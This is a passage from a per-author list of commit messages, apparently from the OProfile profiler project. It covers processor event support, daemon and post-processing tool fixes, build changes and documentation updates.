Fix PM_RUN_CYC and PM_RUN_INST_CMPL event codes broken by previous commit
Enhance ocount to support millisecond time intervals
Minor fixup for previous commit
Plug timing hole between JIT agent and opjitconv that can corrupt dump file
Fix compile errors on Ubuntu 14.04
Remove opreport warnings for /no-vmlinux, [vdso], [hypervisor_bucket] not found
Add more pseudo events for POWER7 to count rising edge events
Allow root to remove old jitdump files from /tmp/.oprofile/jitdump
Add 4 more edge detect events for use in CPI analysis
Send 'Unable to obtain appname' message to stdout
Change user guide to clarify callgraph is not supported for JIT samples
Bug #266: exclude/include files option doesn't work for opannotate -a
operf log may over-report "sample address not in expected range for domain"
Minor error-handling fixes needed for ocount
Update events for IBM POWER8 processor
opreport XML: binary-level count field issues
Fix sample data pipe partial read handling
Fix vsyscall sample collection on x86 architectures
Improve sample collection in multi-threaded apps when using "--pid" option
Fix memset problem in previous commit; fails to compile on Fedora 20
Fix spelling error in previous commit
Add event spec examples to operf and ocount man pages
Make sure hypervisor is excluded from ocount and operf
Fix 'Invalid argument' running 'opcontrol --start --callgraph=<n>' in Timer mode
Add another ARM internal mapping symbol to ignore
Fix mis-placed parentheses in previous commit that caused build error
Exclude collecting hypervisor samples for default event
Link ocount with librt for clock_gettime only when needed
Maynard johnson (154):
Add support for Power5+
Document PowerPC callgraph support
Document platforms where callgraph is supported
Fixups for obsolete kernel header, linux/config.h
Fix race condition between oprofile driver and daemon
Add support for Cell BE
Add support for Cell BE
Add support for Cell BE
Add support for Cell BE
Add support for Power6
Fix up symbol attribution in XML output
Add specific support for PowerPC970MP
Represent count_array_t as a sparse array
catch return value from call to chown() to avoid compilation warning
Fix Power6 default CYCLES event spec
Patch 1 of 3: Add support for Cell BE SPU profiling
Patch 2 of 3: Add support for Cell BE SPU profiling (daemon)
Patch 3 of 3: Add support for Cell BE SPU profiling (post-processing)
Fixups for compile failures on older Linux distributions
Add support for POWER5+ revision 3.0 and later
Bump schema version to 2.0 to coincide with callgraph elements added recently to the schema
ChangeLog cleanup
fix logic in is_spu_profile to handle --separate=thread option
Correct schema version bump
Release 0.9.3 prep work
Bump to 0.9.4cvs
Minor doc fixups
remove unnecessary offset calculation in profile_container.cpp
change signature of sym_offset to handle 64-bit addresses
Fix recording of 64-bit anonymous samples
Modify opcontrol to use a more inclusive
Fix 970MP PMU settings for several groups
Disable profiling in hypervisor on 970MP to prevent lost interrupts
Fix number of records to check for in SPU context switch
Recognize samples for Cell SPU library call stubs
Fix hang in dump option when session dir is a network drive
Fix warnings from gcc 4.3 on const function return types
Fix user/kernel domain options for ppc64
Fix bfd_get_synthetic_symtab configure check to work with --with-binutils
Revert previous binutils.m4 patch since it was buggy
A correct patch for the --with-binutils problem
Fix for 32-bit opreport to work with 64-bit JIT profile agent
fix ChangeLog date in previous commit
Improve error messages for special user account checks
Avoid calling get_symbol_contents when no contents available
Fix bug in differential profile when using archive spec and an image spec
Add ChangeLog-2007 to EXTRA_DIST target
Add README_PACKAGERS to EXTRA_DIST
Change make install error to warning if special user account does not exist
Change to where we switch to special user account
Do not force printing of sample_invalid_eip
Fix compile warning for uninitialized variable when using gcc 4.3.1
Move code from bfddefines to libopagent to fix cross-compile error
Add more advice to packagers regarding the new JIT support libraries
Fix separate debug file handling with --root option
Ask contributors to include Signed-off-by line with patches
Assume perfmon managing PMU hw when no counters are available
bump version in AM_INIT_AUTOMAKE to 0.9.4
Fix to allow libtool to recognize alternate binutils dir passed via --with-binutils
Fix date in last ChangeLog entry
Fix a couple problems relating to overlay symbols for Cell SPE applications
vecho parameters after --verbose option processed
Bump AM_INIT_AUTOMAKE release to 0.9.5cvs
support for Intel arch perfmon
Add configure option for non-standard binutils lib
Handle BFD dependency on libz
add -X option to ophelp to generate XML
moved xml util routines to libop and fixed some other problems in the previous patch
Initialize anon_obj to false for op_bfd objects for Cell SPE embedded binaries
Defeat compiler optimization in configure check for bfd_get_synthetic_symtab
Add mode argument to open
Fix arch_perfmon event name to avoid parse error
Fix regression in arch perfmon code (see bug #2161762)
whitespace cleanup
Correct spelling error
Add new op_hw_specific.h file to libop Makefile.am
reverse the logic in is_non_cell_ppc64_variant
Fix error in AC_CHECK_LIB action
add IBM CELL SPU event profiling support
Fixup debuginfo processing for ppc64
Fix gcc warnings
Use C++ style #includes for stdlib and string headers
suppress unused parameter warning
Fix make distcheck problem by changing map_event_to_counter to handle a non-native cpu_type
Adding family11h and update documents
Add Extended Feature Interface
Add check for basename declaration
Fix binary count total in XML output when using --separate=lib
Add IBS support, patch 1 of 4
Add IBS support, patch 2 of 4
Add IBS support, patch 3 of 4
Add IBS support, patch 4 of 4
Add support for IBM POWER7 processor
Allow make check to accumulate some errors before exiting
Add support for include and unit mask merging statements in event files
Workaround to make oprofile build on recent SUSE
Fix commit date in previous ChangeLog entry
Use word wrap to output event descriptions
Add support for IBM ppc64 architected events
Replace bash built-in let with posix statements
Fix for session-dir setup, bug report 2646398
Fixes for oparchive session-dir as reported in bugs 2646389 and 2646376
Fix crash when chasing broken symlinks
Handle events that differ only by unit mask - patch 2/2
Avoid calling bfd_find_nearest_line with NULL syms argument
Make sure that all callgraph symbols are reported, even if 0 samples
Fix image-path option to be appended to archive path
Discard symbols from sections that do not have SEC_LOAD flag set
Update to IBM POWER7 events and groups
Handle bad samples from kernel due to overflows
Moved 2008 ChangeLog entries to new ChangeLog-2008 file
Add ChangeLog-2008 to EXTRA_DIST
Fix logic error in section flags check for SEC_LOAD
Change offset type from unsigned int to bfd_vma to accommodate addresses above 4G
Fix name of event 0xa7
bump version in AM_INIT_AUTOMAKE to 0.9.5 in prep for release
bump version in AM_INIT_AUTOMAKE to 0.9.6cvs
Fix ophelp xml output for IBS events plus fix ophelp output for counter:cpuid and ext:xxx cases
Do stop only if enabled to prevent bogus stopping message
Fix opcontrol help message
For deinit, kill daemon only if running
Fix timer mode regression
fix buffer overflows in xml generator
Remove incorrect redundant invocation of get_image_range
Add extra #includes since new libstdc++ header files do not include standard C header files
Add mention of new opjitconv binary
Update events and unitmasks from publication 31116 revision 3.34 and fixes
create copies with libtoolize instead of symlinks
Fix regression in handling separate debuginfo files
fix user-space daemon logfile in man page
Fix regression in XML callgraph output and other XML fixes and schema version bump
Updates to POWER7 events and groups
Fix start-daemon problem on ia64
bump version to 0.9.6
bump version in AM_INIT_AUTOMAKE to 0.9.7cvs
Add support for ICT loongson2
Added config option to disable oprofile user check
Fix qt lib check so it works on base 64-bit system
added new loongson2 files
catch basic_string::erase when parsing an invalid sample file name
Fix an opreport error seen on Fedora 12 by making translate_debuginfo_syms more robust
Document that kernel version 2.6.13 or later is required for JIT support
ARMv7 cleanup and Cortex-A9 support
Do cvs add for new ARM files contributed previously by Will Deacon
Moved the copying of stats to opcontrol to do_dump_data
Update opcontrol help and man page to indicate buffer values may be reset to default values by passing a zero
Add support for MIPS 74K and 1004K, and make fixes for 24K and 34K
fix opimport compile error on recent gcc
Fix schema validation issues and error in xml generation
Add unit mask type attribute for an event in ophelp schema
Fix non-x86 build issue due to cpuid instruction
User-space identification of processors that support Intel architectural events
Add support for Intel Westmere micro-architecture processors
Add argument checking for numerical arguments
Patrik Hagglund (1):
Change /etc/mtab to /proc/mounts to enable running on busybox system
Paul Guo (4):
Add support for Tilera tile64/tilepro/tile-gx processor family
New events/mask files for Tilera tile64/tilepro/tile-gx processor family
Add TILE support to operf
Add assembly-level support for TILE in operf
Paul Lind (1):
Add some very basic info on how to create and apply patches using git.
Philippe Elie (875):
centralize cpu type detection
-m
needed by oprof_start which come later
gui oprof_start
typo
fix op_to_source problem
link oprofpp with opf_filter
pp cleanup
pp cleanup + gprof output buglet
fix bug #464093 and #464482
fix oprofpp -s Can you look the output John
doc update + minor cleanup
last commit was wrong
op_to_source -a -s fix
gui: mandatory unit mask fix
Bug fix when calling bfd lib - Can you check if this fix your segfault with oprofile module John ?
gui: use one config file by event + clean.\nopf_filter: check against missing debug info
gui cleanup
pp cleanup
pp: speed-up opf_filter + comment
oprofpp -l fix: use the selected counter and not the first counter available
oprofpp -l: complete the last fix
pp minor cleanup
implement annotated source in spearate file - Feedback on the manner the output filename is choosen ?
bump cvs version
op_to_source: implement --output, --no-output using filenane_match()
pp: small cleanup
test ignore me
*** empty log message ***
clarify doc + minor fix in pp/opf_filter.cpp
make opf_filter --output more intuitive
gui: fix pipe reading
minor doc / pp fix
pp: remove op_to_source script, opf_filter application become the old op_to_source script. User visible change: use --assembly or --souce-with-assembly for the option -a and -s of op_to_source
pp: oops the patch itself missing from the last commit ...
pp: repair op_to_source -a -s
configure.in - minor change for gcc-2.91.66, someone can test it on mandrake ?
module: ty to avoid cache line ping pong
module: two buglets fixes in oprofile.c - oprofile.h change are unrelated
module: sysctl handling - gui: handle note_size - oprofile-tests: new test
doc: update - pp: opf_filter options handling issues
TODO
gui: invalid config saving fix
util: new directory for general purposes functions
op_events: last commit was bad
events : new dir - op_events.c / pp/oprofpp.cpp split files
util: new file created from shared stuff between sub-dir + a few cleanup
pp + dae: small cleanup - util/string_manip.cpp typo fix
module: work around against a gcc 2.91 bug, would fix a rare rmmod oprofile segfault problem
pp: fix #484660
a thin persitent template library - John can you look that (iprofile-tests/understanding/xxx
Makefile.in cleanup: is someone can test it with gcc 3.0
minor configuration fix
pp: c++ demangling bug fix
Rules.make.in new file, missing from an old commit :(
op_time: a new utility to see ratio of samples for each samples files
doc: op_time documentation - please John can you review the wording of op_time section in .sgml
popt cleanup
pp: small cleanup
c to c++ related cleanup
use xmalloc and related - you need to ./autogen.sh && ./configure
finish Makefiel cleanup + minor memory leak fix
dae minor cleanup
dae: old proc implementation
doc update + dae minor cleanup
fix some FIXME
dae: minor memory leak fix
dae: implement separating samples for each application
pp: implement symbol filtering
pp: global var cleanup
pp/gui: finish shared lib sampling
pp: minor improvement; module: prepare preempt patch + minor fix
pp: minor cleanup
doc: improve
dae: bug fix that hanged the daeon during test ; module: bug fix, the detected cpu was always overwritten by 0 (CPU_PPRO) .... Apologies for the twice
module: add a warning when not buffer overflow
dae: update auto-deps
module: do not re-enable counter during shutdown
doc: -- have a meanings in sgml file
module: start kernel 2.2 backport
module: backport step down to 2.2.8
humm, Changelog for the last commit
module/compat.h: more 2.2 supprt
module/compat.h: minor fix
module/compat.h: avoid to hang 2.2 kernel, please touch to thing protected by #if LIN_VER < 2.4.0 only if you have a 2.2 to test your change
module/compat.h: minor fix
module: fix for 2.2 UP kernel
configure.in: cleanup - module: cleanup + fix non cachable page for apic
events: fix gui crash - one char patch
module: some cleanup to allow 2.4/2.5 to compile w/o CONFIG_X86_LOCAL_APIC
module: minor fix for 2.2, no impact on 2.4, doc: assembler trick
gui: small fix for rtc
module: compat.h code move
module: 2.5.2 support, gui: fix confiuration saving - John your config faile are cloberred, edit or delete it
doc: minor things - module: vmalloc_32 FIXME removed - TODO update
doc: minor change - other dir: nothing interresting
doc / pp: op_merge utility
pp: op_merge and related cleanup
pp: op_merge/op_time small cleanu up
pp: implement sowhin symbols for optime - dae: john I fix a bug from your last commit can you review the issue ?
TODO update / pp: cleanup
pp: add op_time options --show-image-name and --demangle, doc: document them ; dae: small cleanup in comment
minor various fix no semantics change except for 2.2.20 - see ChangeLog
module/Makefile.in - remove -Werror
module/doc: remove support for kernel <= 2.2.10 - pp: better to get_symbols(); look like than pp does not work from the last three days
module/doc: re-add explicit MSR_ macro, please look for type
module: add support for 2.5.3 (REMAP_PAGE_RANGE macro) - only a few test make, the wake-up path has changed in kernel/sched.c, it seems ok at my eyes
pp: add BSF_GLOBAL to interesting symbols
pp: minor tweak for output filename sorting
module: use the same nmi handler for 2.2 and 2.4 series - pp/op_to_source: do not output unit mask wehn cpu type == RTC - doc: document common options --help and --version
module: Makefile.in nrver uses specific processor instructions - pp: give a right comparison to std::sort
module: avoid a memory leak when unloading module
pp: --output-format - implement columed output
pp: --output-format - finish to implement columed output
various minor fix, see ChangeLog
module: add op_cache.h, define and use __cacheline_aligned_in_smp; fix some potential bogosity in dname hash stuff - pp: minor tweak in output format
pp ; events : minor cleanup - see ChangeLog
pp: bug fix #525237 ; improve storing of samples
pp: tweak symbols filtering
apologizes: ChangeLog conflict
pp: allow all symbol type ; fix also #526098
pp and doc - fix op_time -l and missing binary file. This is made through two new options to op_time (preffered method) and ignoring non-existing binary file (but you get a warn in this case)
pp: fix L output format specifier
oprof_report - new directory, an oprofpp like gui post profile tools
pp/oprofpp_util : fix # 529622 - pp/opf_container.cpp, pp/opp_symbol.cp : tidy
pp - handle -c0,1 and --sort for post-profile tools
pp - fix --sort + minor fix - dae: fix oprofiled --version
oprof_report : add HotspotView
oprof_report : cleanup + minor bug fixes
oprof_report : revert partially my last patch - pp : op_time small fix
pp/opf_container.cpp,opf_filter.h: remove delegation simplfying a lot the code - pp/*: doxygen patch, document the client interface to opp_bfd: john can you get a look at the oprofpp.h opp_bfd and the generated doc for this class.
*.h more doxygen comments - no functionnal change
util/*.h more doxygen comments - pp: rework slighlty samples_files_t interface
util/*.h more doxygen comment - fix some exit(EXIT_FAILURE)exit
pp small cleanup see ChangeLog
various module buffer size fix
don't take care: change mail address and test
small cleanup by using opp_bfd::symbol_size()
small fix for bash1 detection in dae/op_start
fix install target in doc/Makefile.in
Reuse samples_file_t to implement opp_samples_file
small simplification to opd_proc, we can iterate on
dae: move linked list definition to dae/opd_list.h
op_to_source: fix a memory leak
merge branch-db-1 with trunk. This change the samples file format
fix sect_offset: all adress used in pp are vma based. vma are offset
update TODO
minor improvement to op_session : backup oprofiled.log and
tweak error message when session name already exist.
fix a compil error due to a missing size_t definition
small reorganization and cleanup of pp mainly the main samples
small fix missing in the last commit, apoligizes
fix make uninstall in various sub-directory
fix a bug in some peculiar case of columned output for
generalize code to handle symbol vma/size allowing to
apologize, doc update is missing in the last commit
minor fix in srcdoc.
pp/* split oprofpp_util.cpp, oprofpp.h, patch is big but contains
more typedef for indexed things
minor cleanup, nothing interesting.
ehance op_bfd_symbol to allow creatino of artificial symbol
fix some FIXME, no functionality change
utility.h contains a notcopyable class.
mainly fix bugs #555276.
pp: mainly move all coherency check between a op_bfd and
gcc 3.1 compilation problem, gui part not compiled.
first incoming samples for each image was always ignored. As
a long time outstanding bug, we tested bits from
revert my last change. something is wrong between oprofile
fix module compilation up to kernel 2.5.15, module with kernel 2.5.15/2.5.14
update TODO
libpopt++ new directory for command line options handling
gui:
fix a missing OP_SAMPLES_DIR prepend
option: client code is no longer required to specify explicitly
small doxygen tweak.
module/x86: new directory, for now some small portion
small tweak for gcc 2.91 and -Werror
some minor fix :
fix a memory leak (each global options was leaking an
update dependencies for library
more missing library dependencies
utils/Mkaefile.in: typo for librairies dependencies
unbreak module compile as I can, I repair 2.2 and 2.5.19, unhopefully
gui + utils/op_start: implement --kernel-range
preemptible kernel patch first set, this take care of point #2
support for qt3 + minor change to support qt3 with gcc-3.1
configure and gui makefile: use a better handling of qt3, John
op_time: allow for user to specify for which image_name in want a report
dae: fix bugs #575459 + minor cleanup by adding a opd_for_each_image()
Nothing interresting: support 2.5.20 + minor #include tweak
fix compile error with kernel <= 2.2.17
FIXME removal: see ChangeLog entry
various minor cleanup removing a few FIXME
pp/op_to_source* diff is big but there is no functionality change. I just
fix an ISO corner case (3.4.2 #2)
ppp/op_to_source --output --no-output are meaningfull in all case.
libutil++/op_bfd* minor things
gui/oprof_start.cpp: minor std:: thing fix
pp/op_time.cpp: bug fix check for permission problem rather for permitted
Makefile.in, module/Makefile.in, module/x86/Makefile.in:
Makefile.in: typo fo make clean
support for online/offline cpu for 2.5.23+ :
gui: remove kernel-range specification from the UI. kernel-range is always
fix include search path for gui source dependencies generation
revert patch 2002-07-13 [remove --kernel-range from ui], I was using QT3
libutil/libutil++ : new op_get_link() to read a symlinked filename
pp: output format osf_header 'h' or osf_details 'd' are not
fix #587093 some options like --ctr??-xxxx was incorrectly
- op_get_cpu_nr_counters() / op_get_nr_counters() merge
gui/oprof_start.cpp: minor missing part fro a previous patch
treat escape sequence in separate_token(). Change needed for
dae:
dae:
Makefile:
utils/op_start:
libutil/op_fileio.c: use proper format modifier
MANDIR/CATDIR must be based on DESTDIR, patch provided by Will Cohen.
$(DESTDIR) applied to BINDIR/MODINSTALLDIR
typo in ChangeLog, sorry
Will patch, use FASTCAL instead of regparm3,
move module/op_rtc.c to module/x86/op_rtc.c
make the daemon/module interface 64 bits architecture safe
Big noise only : in all source file remove from the @author the email address
pp/op_time : exit sooner when no samples files exists
pp: protect agaisnt an easy mis-use of samples_container_t, we now
Fix qt3 detection when the used compiler mismatch the compiler
typo of the day
child_reader class: fix detection of child terminated by a signal,
Makefile.in: don't delete doc/oprofile.html
gui: pid filter, pgrp filter accept all integer as valid
Allow to force RTC mode, as suggested by ... Will ?
fix #611107. Samples filename bad mangling with --separate-samples
Graydon provide this events descriptions patch.
libdb/db-insert.c: fix samples count overflow
libdb/db-insert.c: bad cut&paste. Shame on me, I broke the build...
directory daemon and dae: small blank/comment change to minimize
doc/oprofile.xml: document watchdog problem
remove dependencies on doc/xsl/html.xsl avoding rebuilding
fix #615166: avoid to create multiple db_tree belonging to the same
Bob fix for #615087, avoid to dump samples with a zero counts
wrong date in ChangeLog ...
minor doxygen fix
fix #615760 + small doc improvements + some minor TODO fix
small code factorization + cleanup
missing std::, Will un-broke the build
use u16 for unit_mask. I'm not sure this catches *all* the instances, but it
*.cpp: using std::xxx; --> using namespace std;
libdb: tweak typedef for 64 bits arch
small missing part to libdb 64 bits cleanup
implement 'q4 'Q' output format flags fix #618165
improve interpreting results section, mainly in regards with inaccuracy of debug info
kill opd_grow_maps()
free(image->app_name)
fix dirname(), basename(), remove rtrim()
factorize doing samples ratio
minor fixme removal, few error message improvement.
split pp/samples_file.[h|cpp] to opp_samples_files.[h|cpp]
change sample file format, new format is not compatible with previous
typo in L2_DBUS_BUS_RD PPro event name
strerrno --> strerror
get linux include path earlier
read_block() : cumulate stderr output
getline() finished too early when child process write on stderr.
op_to_source: allwo to pass multiple options to objdump
calculate symbol size after removing duplicate symbol. Fix #625678
handle --session options
revert 64 bit dcookie patch commited accidentally with 2002-10-18 abi patch.
shrink op_to_source assembly output
Use config.h rather than gcc -D option
small cleanup
small merging from daemon dir to dae dir
cleanup, build and use libpp.a
don't use L1_CACHE_SHIFT, instead define and use DCOOKIE_SHIFT
restore correctly lvtpc register
forget the ChangeLog ..
op_to_source --source-with-assembly: there was too many output shrinking, fix it
check than samples files version match expected version fixing #635759
re-add -W -Wall and optionnaly -Werror to user space compilation
honor --with-extra-libs
don't honor kernel_only in timer int mode fixing #637804
fix #637805: remove redundant '//' in filename specification through --vmlinux=/foor//bar
fix module installation directory
oops sorry revert this, it was not intended to be commited
doxygen fix
/dev/oprofile/kernel_only doesn't exists in timer int mode (#637804)
start a FAQ, clarify the need of symbol name info vs debug information.
merge from db-branch-1 to head removing module hash table and change
handle default buffer size value properly
db-hash-xxxx.c to db_xxxx.c
minor fix, fix include filename for libabi
support 64 bits size_t
minor change
re-enable opd_check_image_mtime()
revert last change: disable again opd_check_mtime()
use hash table entry zero for kernels image
properly init samples_db_t object (fd must be set to -1 at init)
class renaming, corresponding filename renaming. No code really change.
better resource usage management
figured out why scoped_ptr was not working, see comment at ~counter_profile_t
more use of scoped_ptr
op_bfd.cpp: replace a 0(N�) by a 0(N) behavior
get_symbols() segfault when included symbols is not empty
op_time: honor --excude-symbols. Fix #651165
output correctly the events settings. Fix #651183
allow to show owning application name of samples.
update doc for 'e' 'E' new formating flags
comment + minor fix
u16 pid to u32, tested/compiled only with 32 bits x86
doxygen comment fix
fix #656123 + minor formating fix.
fix #656123
do_hash() use a db_key_t as params not a db_value_t.
update
update to get account last change in libdb
update
fix 64 bits pp tools. Tested on alpha.
update
I forgot one u32 to bfd_vma change ...
use sizeof(struct opd_header) instead of hard-coded 128
update
more u32 to bfd_vma.
gcc new c++ parser showed existing illegal code. Fix it. Adding a non
fix a failure to validate event when using timer interrupt
second try: no event,nor unit mask for CPU_TIMER_INT, problem reported by Ka Fai Lu
rename OP_P4_HT2 to OP_P4_ALL
pmc_setup_one_p4_counter() show clearly than event == 0 is an error
64 bits printf/scanf safety
new module support, pp needs a better support but at least
update: new modules support
new modules support, memory leak fix ...
robustify /proc/modules parsing
Robustify /proc/modules parsing
use sscanf to parse /proc/modules
handle user/kernel mode switch
allow but ignore, for now, drop module escape code
minor fix avoiding some wrong warning.
use strtoull not strtoul to read vma.
pp/op_to_source.cpp: fix vma reading on 32/64 bits arch
add parisc dcookie_lookup support
per application kernel samples files
map --separate-samples to daemon option --separate-lib-samples
handle --kernel-only and --note-table-size (2.4 kernel)
gui: use opcontrol instead of op_start/op_stop. Most of work by Will
opcontrol: better handling of --deinit
don't use hash entry zero for kernel image, fix #686175
fix #686272, crash when using oprofpp -s symb_name by masking
oprofpp: allow --show-shared-libs with -s
oprofpp -s allow --show-shared-libs with -s
pp tools: show output format detailed help when --help
handle properly 64 bits cookie_t, patch From Anton Blanchard
don't try to delete old samples files if they don't exist.
libutils++/op_exception.[h|cpp] base class for exception, not used for now.
fix thinko with --separate=kernel resulting in duplicate opening of the same
better handling of 64/32 bits bfd_vma in output
point in TODO there is some missing code in daemon ... No ChangeLog
libregex: new dir implementing a match and replace regular expression
enable -D --Demangle option for pp tools. stl symbol filter is not very good
minor cleanup, add a vague support for pointer in stl.pat.
remove -DBINDIR -DDATADIR but get install path name through configure
missing file
cvs was broken, darn it for now whilst we fix configure problem,
2.95.3 work-around, note than I didn't check 2.91 build from one
remove #include <op_events.h> avoiding multiple redefinition of list_xxx
remove some #include <op_events.h> in module directory
document --smart-demangle
db_insert(); add a parameter to get error message.
add statistics for nil image whilst receiveing user space samples.
avoid to touch doc/xsl genereted file. Still not perfect because configure
missing from doc/oprofile.html rebuild fix see ChangeLog
<smpboot.h> is not necessary
typo.
remove unsupported --warnnet, fix docbook root dir test
minor fix, no ChangleLog see last commit comment
fix a daemon crash (0.5.1 was ok)
fix a daemon crash, see ChangLog entry
gcc 2.91 warning work around
gcc 2.91 warning work around
improve smart demangling.
tidy libop/op_events.c moving bits to new file libutil/op_string.[ch].
libop/op_events.c: minor cleanup
all Makefile.am: modify list = foo1 foo2 to put one item by line
remove bogus fprintf
cut&paste typo, breaking compile on bow w/o libiberty.h
xsltproc exsistence checking was alway true
typo: s/doocbook/docbook
bug fix: when user was specifying separate=kernel and separate=library
small tweak: bail out when --ctr??-event=none and ?? is an invalid counter
opcontrol: avoid multiple invalid "invalid argument $1: bad counter number"
add --path option to oprofpp, remove --recursive-path to op_time and make --path recursive
fix related to oprofpp gprof file output. See ChangeLog
allow oprofpp -s symbol_name to show all symbol with the same name.
do a special case to retrieve 2.5 modules, I do it in derive_files to avoid
fix handling of 2.5 module name
get_vma_range() by one error; do_dump_gprof(), it's ok now.
get cpu frequency for all supported arch, the bad point is that we
add --get-cpu-frequency to op_help, use it in opcontrol
typo in comment
add option --get-cpu-frequency to op_help, use it in opcontrol
new dir, all our configure stuff would go here, add a .m4 here, add it to
start moving m4 macro to m4 subdir
update: m4 macro move from configure.in ot m4 subdir
use $OP_HELP not op_help, remove short option for --get-cpu-frequency
get at configure time the underlined type for size_t and ptrdiff_t allowing
oops, forget this one
validate count agaisnt min count fixing #715923
2.4 module: make watermark proprotionnal to buffer size.
work around for gcc 2.95: don't use fixed io manipulator
prepend asm line with counter output
tidy a bit libregex/op_regexp.*
check for #717720 and direct user to FAQ if detected.
use no-vmlinux not /no/vmlinux
handle --no-vmlinux for 2.4 too
handle --no-vmlinux for 2.4
phe thinko, no Changelog
movement thinko, no ChangeLog
fix various problem in P4-ht events description and in P4 support in module.
fix cpuid_edx for linux version < 2.2.21.
printk format fix
better handling of zero sample file size when opening in read only mode
add list<T>::{const_}+iterator
I forgot the test case with the previous patch
partial handling of _Identity<> and _Select1st<>, pattern fail if type are
add before 0.5.3 section
FIXME
Allow user to $ make CFLAGS=... CXXFLAGS=..., doesn't work for 2.4 module
avoid including "op_types.h"
we was doing checking of function in library in the wrong order, this command
indeed we ned to AC_CHECK_LIB for libiberty before trying to AC_CHECK_FUNCS
remove gcc 2.91 noncopyable as empty base class work-around. The problem is
change default unit mask for kni instruction to 0 and type to exclusive, tested
ChangeLog fix
typo in ChangeLog
update example in "Interpreting profiling results" section
merge pp-interface-branch to trunk, first step committing new file
merge pp-interface-branch to trunk, first step commit new file
merge pp-interface-branch to trunk, second step commit removed file
merge pp-interface-branch to trunk, See ChangeLog
tidy
minor stuff ...
update
we was not disabling apic on error path
move #define OP_DATADIR, OP_BINDIR from version-1.h.in to config.h,
improve doxygen comment
more static data and function
error message is now a field of a samples_odb_t
replace non-typed use of string source_filename by debug_name_id
remove dead api: find_symbol(string symbol_name)
provide an API to walk through vma with non-zero samples count rather to walk
fix order of file output with opannoate --source to be consistent with other
gcc 2.91.66 fix
replace our sstream version by the once shipped with 2.95.3, seekg() in the
replace accumulate_samples() API by an iterator interface
I forgot the ChangeLog
don't underflow start offset when the vma range is unknown
minor tidy + small efficiency improvement
we don't need to check if key is present before trying to insert it
pp/opannotate.cpp: output_asm() avoid output when the set of selected symbols
use exception rather than exit in library code
compile fix, tree was broken by my previous patch
utils/opcontrol: fix rtc option checking, bug added after 0.5.3, no big deal
boring_symbol() new to get a better choice when eliminatiing symbol at identical vma
pp/opannotate_options.cpp: typo in option name
libdb/db_insert.cpp: missing initialization of error message on error path
compile fix: last patch version was for branch not for head, apply the right one, no ChangeLog.
honor options::show_header
mellum compile fix for apha, the once in opd_image shows a ugly problem
cleanup walking through multimap with a pair<iterator, iterator>
minor import fro BRANCH_CALLGRAPH (mainly s/db_do_hash/odb_do_hash)
reflect intel documentation fix.
stream_util.h/.cpp new file, iostream state save and restoration, use it
oops
don't try to save current samples dir if the directory doesn't exist
opcontrol: shows basename $0 with --version
opcontrol: last change didn't redirect output to stderr
synch from call graph branch: opd_kernel.c cleanup, see ChangeLog
verbprintf() when starting reading buffer not printf
C89 compile fix
fix opcontrol --setup --event=RTC:....
use RTC_INTERRUPTS as event name for rtc mode
re-enable partially the gui, sorta of working if cautioulsy used
GUI: debug, most of things works now, see TODO, movement the ui layout is weirds ?
more TODO update
gui: remove dead code, fix kernel_only read
remove a commented #include, no ChangeLog
gui: fix rtc mode
minor tidy
minor merge from CALLGRAPH branch
fix for autoconf 2.13
gui: allow to de-select a counter
thinko in has_unique_event(), don't warn for no counter with CPU_TIMER_INT
ouch :)
op_help: fix hardware counter allocation order
op_alloc_ounter.(h|c): new file providing mapping from an event list to hardware counter number
use the new api provided by op_alloc_counter.(c|h)
make valgrind happy + minor cleanup
struct op_event * find_event_by_name() new, used by op_help.c now, it'll needed by gui too.
GUI change to use the new counter allocation API
3 Fix, problem revealed by gcc cvs stl debug mode, one UB, a compile problem and a potential bogosity, see ChangeLog
don't use invalidated iterator
opreport: initial multiple counter output, multiple counter with -l is not yet available
opannotate: output cpu type and cpu speed
clarify multiple counter support
profile_t::sample_count() new to allow raw access to samples, use it in opreport
minor: more consistency about function ordering
opbfd.cpp: try to recover missing mangled name for static C++ function in dwarf 2 debug information (gcc #11744)
update
symbol_sort: add app_name sort order, force sort order for criteria unspecified by user.
dae/opd_sample_files.c: s/out;/out:;/
libop: minor doxygen fix.
utils/opcontrol: move_and_remove() do nothing if source doesn't exist
revert previous patch: un-share (daemon|dae)/opd_sample_files.(c|h)
big: handle multiple counter for opreport, prepare works for opannotate
libpp/counter_array.cpp .h: oops, I forgot to cvs add this two files
update TODO
clarify a design problem
pp/opreport.cpp: re write using count_array_t
pp/opreport.cpp: fix thinko when --merge=lib
libregex/stl.pat.in: minor fix/improvments
remove nil_symbol_index
libutil++/string_manip.h, .cpp: remove erase_from_last_of(), tidy erase_to_last_of(), rtrim() and ltrim()
module/x86/op_model_p4.c: remove superflous ';' at end of some macro
libutil++/string_manip.cpp: erase_to_last_of() is not a ltrim()
libutil++/op_bfd.cpp: remove ELF-based symbol size code
pp/opannotate.cpp: output threshold percent when necessary.
pp/opreport.cpp: really merge when --merge=lib and image name are specified
events/i386.p4.events: clarify than 128BIT_MMX_UOP count only integer SSE2 ops
pp/common_option.cpp: validate --image-path parameters
tidy libregex
libregex/op_regex.cpp: missing bits in the last tidy, no ChangeLog
build machinery: always use EXTRA_CFLAGS_MODULE not EXTRA_CFLAGS for module build flags
libpp/count_array.cpp: avoid to access invalid memor
opannotate: enable multiple events
events/alpha.ev6.events: fix duplicate um tag
tweak "signalling daemon" message as suggested by Carlo Wood
pp/opreport.cpp|opannotate.cpp: catch op_bfd exception and recover gracefully
update TODO
After a context switch ensure we update correctly the current image.
build stuff: add --enable-pch (off by default) which enable precompiled header if compiler support it.
utils/op_help.c: check than all events are distincts
libpp/op_header.cpp: type in comment
configure: -ftemplate-depth-50; op_fileio.c: avoid to truncate silently results; sstream.m4: s/CXXFLAGS/OP_CXXFLAGS
missing include with gcc 2.95
handle symlink
arrange_profiles: s/string.clear()/string.erase()/
handle 2.95 right io manipulator and the lack of a proper setw(w) << std::string
update 2.6 daemon redesign
minor tidy: spurious ';'
daemon/ utils/opcontrol: implement per thread profling
remove fixed array of modules replaced by a list. Unify the way we create opd_module
missing ChangeLog, update TODO
dae/opd_kernel.c: add module to list of module; daemon/opd_kernel.c: s/print/verbprintf
fix use after free of module
thinko in opd_get_module_info(): we must take care to re-use a previously created module not to create a new
allow to create fake op_bfd, i.e. one no tied to a bfd object
overwrite all current settings with --separate, this change behavior of --separate=kernel,library now we really setup both in this case.
shift output to right by two char not one for detailed output, use 9 instead of 12 for % field. Shrink output of "100.0000" to "100.000"
update
opreport: --global_percent must be effective for detailed output too
libpp/format_output: s/hide_header()/show_header()
dae/ daemon/ share opd_setup_signals, handle signal in read loop
dae/opd_parse_proc.c: bot op_file.h and op_fileio.h are needed
